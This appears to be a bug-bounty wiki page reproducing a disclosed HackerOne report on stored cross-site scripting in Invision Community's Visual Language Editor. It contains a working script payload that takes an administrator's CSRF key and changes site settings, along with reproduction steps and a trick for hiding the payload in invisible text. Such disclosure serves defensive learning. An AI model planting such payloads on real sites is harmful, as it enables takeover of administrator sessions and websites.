Skip to content
XSS Disclosed report Intermediate

XSS with Visual Language Editor tags

A stored cross-site scripting flaw in the Visual Language Editor meant that text containing special VLE tags was inserted into the page as raw HTML rather than escaped text. An attacker could post such content and, when an administrator viewed it with Quick Translating enabled, run script in the admin's session to change site settings or take full control.

mpiosik Follow

Originally disclosed on HackerOne

  • Disclosed after 3 months
  1. Create a post/comment/signature/etc. with the following text: #VLE#nothing#[<script>ips.getAjax()(ips.getSetting('baseURL') + 'admin/index.php?app=core&module=system&controller=login&do=getCsrfKey').done(({key}) => ips.getAjax()(ips.getSetting('baseURL') + 'admin/index.php?app=core&module=settings&controller=general', {'bypassRedirect':true, 'method': 'POST', 'data': {'csrfKey': key, 'site_online_checkbox':1, 'board_name': 'You have been hacked', 'form_submitted': 1}}))</script>]#!##.
  2. Using e.g. the browser's Inspect Element feature, you can surround the text in editor with <span style='font-size: 0px;'> and </span> to make it invisible for humans.
  3. Once the content is posted, visit the page with the content created in step 1. with Quick Translating enabled (ACP -> Customization -> Localization -> Languages -> Translations -> Quick Translating, otherwise known as Visual Language Editor or VLE) using an account with administrator privileges.

Note: This is not very uncommon, as one could simply suggest an administrator to change wording of a language phrase, or correct a translation in an area where user-generated content (such as comments) is displayed.

  1. After visiting the webpage, website name will change to You have been hacked (the change can be seen in the browser tab title or in the website's header).

The origin of the vulnerability is line 254 in applications/core/dev/js/global/controllers/customization/ips.customization.visualLang.js. jQuery's replaceWith function, which accepts raw HTML, is fed with .text() output, which returns unescaped (non-HTML-encoded) text.

(Code from step 1 formatted for readability):

JavaScript
ips.getAjax()(ips.getSetting('baseURL') + 'admin/index.php?app=core&module=system&controller=login&do=getCsrfKey').done(({key}) => ips.getAjax()(
    ips.getSetting('baseURL') + 'admin/index.php?app=core&module=settings&controller=general', {
        'bypassRedirect':true,
        'method': 'POST',
        'data': {
            'csrfKey': key,
            'site_online_checkbox':1,
            'board_name': 'You have been hacked',
            'form_submitted': 1
        }
    }
))

## Impact

**The attacker could gain full control of the website and its data, including the ability to execute raw PHP code**. This example shows only a relatively harmless and very simple usage of the vulnerability, but **it can be used to perform any other action on the administrator's behalf**. For instance, attacker could prepare a script to modify a theme template to execute any given PHP code.

Surrounding the VLE code with legitimate text and `<span class="font-size: 0px;">...</span>`makes it invisible for humans, and it could be hidden from built-in search as well by placing it in a signature, for example. The post/signature can then be removed. Without knowing exactly what to look for, the attack origin might never be found.

The original report as published on HackerOne, by mpiosik. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the editor passed unescaped text from the page into jQuery's replaceWith, which treats its argument as HTML, so markup in user content was rendered and executed.

Impact

The attacker could perform any action on the administrator's behalf, including changing site settings and, by editing templates, executing raw PHP code to take full control of the site.

What the attacker needed

Ability to post content; admin views page with Quick Translating on; admin account visits the page

How it was found

  1. Create a post, comment or signature containing text with special VLE tags and a script.
  2. Optionally wrap the text in a zero-font-size span so it is invisible to people.
  3. Quick Translating is enabled in the admin control panel.
  4. Visit the page containing the created content while logged in as an administrator.
  5. The script runs and changes the site name to the attacker's chosen text.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The Visual Language Editor is a tool that lets administrators click on wording on a page and edit it. The page took text from a post and put it into the page as if it were part of the website's own code, so hidden instructions in that text ran in the administrator's browser. Because the administrator is logged in, those instructions could act with the administrator's powers.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More from Invision Power Services, Inc.

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.